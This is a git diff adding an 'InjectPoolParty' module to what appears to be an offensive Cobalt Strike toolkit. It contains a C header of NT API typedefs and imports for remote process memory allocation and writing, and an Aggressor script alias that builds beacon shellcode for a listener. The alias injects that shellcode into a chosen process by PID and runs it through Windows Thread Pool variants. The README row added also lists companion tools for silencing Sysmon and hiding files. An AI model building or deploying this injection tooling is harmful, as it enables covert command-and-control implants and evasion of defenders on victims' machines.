+typedef struct _PROCESS_HANDLE_TABLE_ENTRY_INFO
+{
+    HANDLE HandleValue;
+    ULONG_PTR HandleCount;
+    ULONG_PTR PointerCount;
+    ACCESS_MASK GrantedAccess;
+    ULONG ObjectTypeIndex;
+    ULONG HandleAttributes;
+    ULONG Reserved;
+} PROCESS_HANDLE_TABLE_ENTRY_INFO, * PPROCESS_HANDLE_TABLE_ENTRY_INFO;
+
+typedef struct _PROCESS_HANDLE_SNAPSHOT_INFORMATION
+{
+    ULONG_PTR NumberOfHandles;
+    ULONG_PTR Reserved;
+    PROCESS_HANDLE_TABLE_ENTRY_INFO Handles[ANYSIZE_ARRAY];
+} PROCESS_HANDLE_SNAPSHOT_INFORMATION, * PPROCESS_HANDLE_SNAPSHOT_INFORMATION;
+
+typedef enum
+{
+    ProcessHandleInformation = 51
+} PROCESS_INFOCLASS;
+
+typedef struct __PUBLIC_OBJECT_TYPE_INFORMATION {
+    UNICODE_STRING TypeName;
+    ULONG Reserved[22];    
+} PUBLIC_OBJECT_TYPE_INFORMATION, * PPUBLIC_OBJECT_TYPE_INFORMATION;
+
+typedef struct _WORKER_FACTORY_BASIC_INFORMATION
+{
+    LARGE_INTEGER Timeout;
+    LARGE_INTEGER RetryTimeout;
+    LARGE_INTEGER IdleTimeout;
+    BOOLEAN Paused;
+    BOOLEAN TimerSet;
+    BOOLEAN QueuedToExWorker;
+    BOOLEAN MayCreate;
+    BOOLEAN CreateInProgress;
+    BOOLEAN InsertedIntoQueue;
+    BOOLEAN Shutdown;
+    ULONG BindingCount;
+    ULONG ThreadMinimum;
+    ULONG ThreadMaximum;
+    ULONG PendingWorkerCount;
+    ULONG WaitingWorkerCount;
+    ULONG TotalWorkerCount;
+    ULONG ReleaseCount;
+    LONGLONG InfiniteWaitGoal;
+    PVOID StartRoutine;
+    PVOID StartParameter;
+    HANDLE ProcessId;
+    SIZE_T StackReserve;
+    SIZE_T StackCommit;
+    NTSTATUS LastThreadCreationStatus;
+} WORKER_FACTORY_BASIC_INFORMATION, * PWORKER_FACTORY_BASIC_INFORMATION;
+
+typedef struct _CLIENT_ID {
+    HANDLE UniqueProcess;
+    HANDLE UniqueThread;
+} CLIENT_ID, * PCLIENT_ID;
+
+typedef struct _OBJECT_ATTRIBUTES {
+    ULONG           Length;
+    HANDLE          RootDirectory;
+    PUNICODE_STRING ObjectName;
+    ULONG           Attributes;
+    PVOID           SecurityDescriptor;
+    PVOID           SecurityQualityOfService;
+} OBJECT_ATTRIBUTES, * POBJECT_ATTRIBUTES;
+
+
+typedef NTSTATUS(WINAPI* NtOpenProcess_t)(PHANDLE ProcessHandle, ACCESS_MASK DesiredAccess, POBJECT_ATTRIBUTES ObjectAttributes, PCLIENT_ID ClientId);
+typedef NTSTATUS(WINAPI* NtDelayExecution_t)(BOOLEAN, PLARGE_INTEGER);
+typedef NTSTATUS(WINAPI* NtAllocateVirtualMemory_t)(HANDLE ProcessHandle, PVOID* BaseAddress, ULONG_PTR ZeroBits, PSIZE_T RegionSize, ULONG AllocationType, ULONG Protect);
+typedef NTSTATUS(WINAPI* NtWriteVirtualMemory_t)(HANDLE ProcessHandle, PVOID BaseAddress, PVOID Buffer, ULONG NumberOfBytesToWrite, PULONG NumberOfBytesWritten);
+typedef NTSTATUS(WINAPI* NtProtectVirtualMemory_t)(HANDLE ProcessHandle, PVOID* BaseAddress, PULONG NumberOfBytesToProtect, ULONG NewAccessProtection, PULONG OldAccessProtection);
+typedef NTSTATUS(WINAPI* NtClose_t)(HANDLE Handle);
+
+typedef NTSTATUS (NTAPI* NtSetTimer2_t)(HANDLE TimerHandle, PLARGE_INTEGER DueTime, PLARGE_INTEGER Period, PT2_SET_PARAMETERS Parameters);
+typedef NTSTATUS (NTAPI* NtQueryInformationProcess_t)(IN HANDLE ProcessHandle, IN PROCESSINFOCLASS ProcessInformationClass, OUT PVOID ProcessInformation, IN ULONG ProcessInformationLength, OUT PULONG ReturnLength OPTIONAL);
+typedef NTSTATUS (NTAPI* NtQueryObject_t)(HANDLE Handle, OBJECT_INFORMATION_CLASS ObjectInformationClass, PVOID ObjectInformation, ULONG ObjectInformationLength, PULONG ReturnLength);
+typedef enum _QUERY_WORKERFACTORYINFOCLASS { WorkerFactoryBasicInformation = 7, } QUERY_WORKERFACTORYINFOCLASS, *PQUERY_WORKERFACTORYINFOCLASS;
+typedef NTSTATUS (NTAPI* NtQueryInformationWorkerFactory_t)(HANDLE WorkerFactoryHandle, QUERY_WORKERFACTORYINFOCLASS WorkerFactoryInformationClass, PVOID WorkerFactoryInformation, ULONG WorkerFactoryInformationLength, PULONG ReturnLength);
+typedef NTSTATUS (NTAPI * ZwSetIoCompletion_t)(HANDLE IoCompletionHandle, PVOID KeyContext, PVOID ApcContext, NTSTATUS IoStatus, ULONG_PTR IoStatusInformation);
+
+WINBASEAPI void *__cdecl MSVCRT$realloc(void *_Memory, size_t _NewSize);
+WINBASEAPI wchar_t *__cdecl MSVCRT$wcscmp(const wchar_t *_lhs,const wchar_t *_rhs);
+WINBASEAPI HANDLE WINAPI KERNEL32$GetCurrentProcess (VOID);
+WINBASEAPI BOOL WINAPI KERNEL32$DuplicateHandle(HANDLE hSourceProcessHandle, HANDLE hSourceHandle, HANDLE hTargetProcessHandle, LPHANDLE lpTargetHandle, DWORD dwDesiredAccess, BOOL bInheritHandle, DWORD dwOptions);
+WINBASEAPI HANDLE WINAPI KERNEL32$OpenProcess(DWORD dwDesiredAccess, BOOL bInheritHandle, DWORD dwProcessId);
+WINBASEAPI LPVOID WINAPI KERNEL32$VirtualAllocEx(HANDLE hProcess, LPVOID lpAddress, SIZE_T dwSize, DWORD flAllocationType, DWORD flProtect);
+WINBASEAPI BOOL WINAPI KERNEL32$WriteProcessMemory(HANDLE hProcess, LPVOID lpBaseAddress, LPCVOID lpBuffer, SIZE_T nSize, SIZE_T *lpNumberOfBytesWritten);
+WINBASEAPI PTP_TIMER  WINAPI KERNEL32$CreateThreadpoolTimer( PTP_TIMER_CALLBACK pfnti, PVOID pv, PTP_CALLBACK_ENVIRON pcbe);
+WINBASEAPI BOOL WINAPI KERNEL32$SetInformationJobObject(HANDLE hJob, JOBOBJECTINFOCLASS JobObjectInformationClass, LPVOID lpJobObjectInformation, DWORD cbJobObjectInformationLength);
+WINBASEAPI BOOL WINAPI KERNEL32$VirtualProtectEx(HANDLE hProcess, LPVOID lpAddress, SIZE_T dwSize, DWORD flNewProtect, PDWORD lpflOldProtect);
+WINBASEAPI BOOL WINAPI KERNEL32$VirtualFreeEx(HANDLE hProcess, LPVOID lpAddress, SIZE_T dwSize, DWORD dwFreeType);
+WINBASEAPI BOOL WINAPI KERNEL32$CloseHandle(HANDLE hObject);
+WINBASEAPI int __cdecl MSVCRT$strcmp(const char *str1, const char *str2);
+WINBASEAPI void __cdecl MSVCRT$free(void *ptr);
+WINBASEAPI BOOL WINAPI KERNEL32$ReadProcessMemory(HANDLE hProcess, LPCVOID lpBaseAddress, LPVOID lpBuffer, SIZE_T nSize, SIZE_T *lpNumberOfBytesRead);
+WINBASEAPI PTP_WORK WINAPI KERNEL32$CreateThreadpoolWork(PTP_WORK_CALLBACK pfnwk, PVOID pv, PTP_CALLBACK_ENVIRON pcbe);
+WINBASEAPI void * __cdecl MSVCRT$memset(void *dest, int ch, size_t count);

BIN
KIT/InjectPoolParty/injectpoolparty.o


+ 46 - 0
OperatorsKit.cna

@@ -1125,6 +1125,52 @@ alias dllcomhijacking {
 }
 
 
+beacon_command_register(
+	"injectpoolparty", "Inject listener shellcode in specified process and execute it via Windows Thread Pools.",
+	"INFO:\nInject listener shellcode in specified process and execute it via Windows Thread Pools.\nThe following execution variants are supported: TP_TIMER (variant 8) | TP_DIRECT (variant 7) | TP_WORK (variant 2).\nThe following beacon shellcode configuration is injected: x64, process, indirect. This can be changed in the .cna script.\n\n" .
+	"ARGUMENTS:\n[<variant>]: Windows Thread Pool execution variant: TP_TIMER | TP_DIRECT | TP_WORK (susceptible to slow execution time).\n[<pid>]: Process ID of the target process.\n[<listener>]: Beacon listener name.\n\n" .
+	"USAGE:\ninjectpoolparty <variant> <pid> <listener>\n\n" .
+	"EXAMPLES:\ninjectpoolparty TP_TIMER 1234 Shorthaul-HTTPS\n\n");
+	
+alias injectpoolparty {
+    $bid = $1;
+    $variant = $2;
+    $pid = $3;
+	$listener = $4;
+
+    if ($variant eq "TP_TIMER" || $variant eq "TP_DIRECT" || $variant eq "TP_WORK") {
+        if ($pid eq "") {
+            berror($bid, "Please specify the process ID (pid) of the target process.\n");
+            return;
+        }
+    }
+    else {
+        berror($bid, "Please specify one of the following execution variants: TP_TIMER | TP_DIRECT | TP_WORK (susceptible to slow execution time).\n");
+        return;
+    }
+	
+	# Read in the right BOF file
+	$handle = openf(script_resource("KIT/InjectPoolParty/injectpoolparty.o"));
+	$data   = readb($handle, -1);
+	closef($handle);
+	
+	if (listener_info($listener) is $null) {
+		berror($bid, "Specified listener was not found: $listener");
+	}
+	else {
+		$sc_data = artifact_payload($listener, "raw", "x64", "process", "Indirect");
+
+		# Pack our arguments
+		$arg_data  = bof_pack($bid, "zib", $variant, $pid, $sc_data);
+
+		blog($bid, "Tasked to start a new listener..");
+		beacon_inline_execute($bid, $data, "go", $arg_data);
+	}
+}
+
+
+
+
 
 
 

+ 1 - 0
README.md

@@ -35,6 +35,7 @@ The following tools are currently in the OperatorsKit:
 |**[ForceLockScreen](KIT/ForceLockScreen)**|Force the lock screen of the current user session.|
 |**[HideFile](KIT/HideFile)**|Hide a file or directory by setting it's attributes to systemfile + hidden.|
 |**[IdleTime](KIT/IdleTime)**|Check current user activity based on the user's last input.|
+|**[InjectPoolParty](KIT/InjectPoolParty)**|Inject beacon shellcode and execute it via [Windows Thread Pools](https://github.com/SafeBreach-Labs/PoolParty/)|
 |**[LoadLib](KIT/LoadLib)**|Load an on disk present DLL via RtlRemoteCall API in a remote process.|
 |**[PSremote](KIT/PSremote)**|Enumerate all running processes on a remote host.|
 |**[SilenceSysmon](KIT/SilenceSysmon)**|Silence the Sysmon service by patching its capability to write ETW events to the log.|